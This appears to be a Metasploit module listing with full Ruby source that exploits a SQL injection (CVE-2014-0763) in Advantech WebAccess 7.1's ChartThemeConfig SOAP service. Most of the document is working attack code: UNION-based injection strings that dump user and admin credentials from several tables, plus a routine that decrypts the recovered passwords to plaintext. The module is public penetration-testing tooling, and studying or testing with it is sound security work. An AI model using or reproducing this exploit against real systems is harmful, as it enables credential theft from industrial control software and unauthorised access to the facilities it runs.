Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection

2014-05-13T19:17:59
ID MSF:AUXILIARY/ADMIN/SCADA/ADVANTECH_WEBACCESS_DBVISITOR_SQLI
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The vulnerability exists in the DBVisitor.dll component, and can be abused through malicious requests to the ChartThemeConfig web service. This module can be used to extract the site and project usernames and hashes.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Advantech WebAccess DBVisitor.dll ChartThemeConfig SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability found in Advantech WebAccess 7.1. The
        vulnerability exists in the DBVisitor.dll component, and can be abused through malicious
        requests to the ChartThemeConfig web service. This module can be used to extract the site
        and project usernames and hashes.
      },
      'References'     =>
        [
          [ 'CVE', '2014-0763' ],
          [ 'ZDI', '14-077' ],
          [ 'OSVDB', '105572' ],
          [ 'BID', '66740' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-14-079-03' ]
        ],
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2014-04-08'
    ))

    register_options(
      [
        OptString.new("TARGETURI", [true, 'The path to the BEMS Web Site', '/BEMS']),
        OptString.new("WEB_DATABASE", [true, 'The path to the bwCfg.mdb database in the target', "C:\\WebAccess\\Node\\config\\bwCfg.mdb"])
      ])
  end

  def build_soap(injection)
    xml = Document.new
    xml.add_element(
        "s:Envelope",
        {
            'xmlns:s' => "http://schemas.xmlsoap.org/soap/envelope/"
        })
    xml.root.add_element("s:Body")
    body = xml.root.elements[1]
    body.add_element(
        "GetThemeNameList",
        {
            'xmlns' => "http://tempuri.org/"
        })
    name_list = body.elements[1]
    name_list.add_element("userName")
    name_list.elements['userName'].text = injection

    xml.to_s
  end

  def do_sqli(injection, mark)
    xml = build_soap(injection)

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path.to_s, "Services", "ChartThemeConfig.svc"),
      'ctype'    => 'text/xml; charset=UTF-8',
      'headers'  => {
          'SOAPAction' => '"http://tempuri.org/IChartThemeConfig/GetThemeNameList"'
      },
      'data'      => xml
    })

    unless res && res.code == 200 && res.body && res.body.include?(mark)
      return nil
    end

    res.body.to_s
  end

  def check
    mark = Rex::Text.rand_text_alpha(8 + rand(5))
    injection =  "#{Rex::Text.rand_text_alpha(8 + rand(5))}' "
    injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}"
    data = do_sqli(injection, mark)

    if data.nil?
      return Msf::Exploit::CheckCode::Safe
    end

    Msf::Exploit::CheckCode::Vulnerable
  end

  def parse_users(xml, mark, separator)
    doc = Document.new(xml)

    strings = XPath.match(doc, "s:Envelope/s:Body/GetThemeNameListResponse/GetThemeNameListResult/a:string").map(&:text)
    strings_length = strings.length

    unless strings_length > 1
      return
    end

    i = 0
    strings.each do |result|
      next if result == mark
      @users << result.split(separator)
      i = i + 1
    end

  end

  def run
    print_status("Exploiting sqli to extract users information...")
    mark = Rex::Text.rand_text_alpha(8 + rand(5))
    rand = Rex::Text.rand_text_numeric(2)
    separator = Rex::Text.rand_text_alpha(5 + rand(5))
    # While installing I can only configure an Access backend, but
    # according to documentation other backends are supported. This
    # injection should be compatible, hopefully, with most backends.
    injection =  "#{Rex::Text.rand_text_alpha(8 + rand(5))}' "
    injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}BAUser' from BAUser where #{rand}=#{rand} "
    injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pUserPassword' from pUserPassword IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} "
    injection << "union all select UserName + '#{separator}' + Password + '#{separator}' + Password2 + '#{separator}pAdmin' from pAdmin IN '#{datastore['WEB_DATABASE']}' where #{rand}=#{rand} "
    injection << "union all select '#{mark}' from BAThemeSetting where '#{Rex::Text.rand_text_alpha(2)}'='#{Rex::Text.rand_text_alpha(3)}"
    data = do_sqli(injection, mark)

    if data.blank?
      print_error("Error exploiting sqli")
      return
    end

    @users = []
    @plain_passwords = []

    print_status("Parsing extracted data...")
    parse_users(data, mark, separator)

    if @users.empty?
      print_error("Users not found")
      return
    else
      print_good("#{@users.length} users found!")
    end

    users_table = Rex::Text::Table.new(
      'Header'  => 'Advantech WebAccess Users',
      'Indent'   => 1,
      'Columns' => ['Username', 'Encrypted Password', 'Key', 'Recovered password', 'Origin']
    )

    for i in 0..@users.length - 1
      @plain_passwords[i] =
          begin
            decrypt_password(@users[i][1], @users[i][2])
          rescue
            "(format not recognized)"
          end

      @plain_passwords[i] = "(blank password)" if @plain_passwords[i].empty?

      begin
        @plain_passwords[i].encode("ISO-8859-1").to_s
      rescue Encoding::UndefinedConversionError
        chars = @plain_passwords[i].unpack("C*")
        @plain_passwords[i] = "0x#{chars.collect {|c| c.to_s(16)}.join(", 0x")}"
        @plain_passwords[i] << " (ISO-8859-1 hex chars)"
      end

      report_cred(
        ip: rhost,
        port: rport,
        user: @users[i][0],
        password: @plain_passwords[i],
        service_name: (ssl ? "https" : "http"),
        proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
      )

      users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]
    end

    print_line(users_table.to_s)
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def user_type(database)
    user_type = database

    unless database == "BAUser"
      user_type << " (Web Access)"
    end

    user_type
  end

  def decrypt_password(password, key)
    recovered_password = recover_password(password)
    recovered_key = recover_key(key)

    recovered_bytes = decrypt_bytes(recovered_password, recovered_key)
    password = []

    recovered_bytes.each { |b|
      if b == 0
        break
      else
        password.push(b)
      end
    }

    return password.pack("C*")
  end

  def recover_password(password)
    bytes = password.unpack("C*")
    recovered = []

    i = 0
    j = 0
    while i < 16
      low = bytes[i]
      if low < 0x41
        low = low - 0x30
      else
        low = low - 0x37
      end
      low = low * 16

      high = bytes[i+1]
      if high < 0x41
        high = high - 0x30
      else
        high = high - 0x37
      end

      recovered_byte = low + high
      recovered[j] = recovered_byte
      i = i + 2
      j = j + 1
    end

    recovered
  end

  def recover_key(key)
    bytes = key.unpack("C*")
    recovered = 0

    bytes[0, 8].each { |b|
      recovered = recovered * 16
      if b < 0x41
        byte_weight = b - 0x30
      else
        byte_weight = b - 0x37
      end
      recovered = recovered + byte_weight
    }

    recovered
  end

  def decrypt_bytes(bytes, key)
    result = []
    xor_table = [0xaa, 0xa5, 0x5a, 0x55]
    key_copy = key
    for i in 0..7
      byte = (crazy(bytes[i] ,8 - (key & 7)) & 0xff)
      result.push(byte ^ xor_table[key_copy & 3])
      key_copy = key_copy / 4
      key = key / 8
    end

    result
  end

  def crazy(byte, magic)
    result = byte & 0xff

    while magic > 0
      result = result * 2
        if result & 0x100 == 0x100
          result = result + 1
        end
        magic = magic - 1
    end

    result
  end
end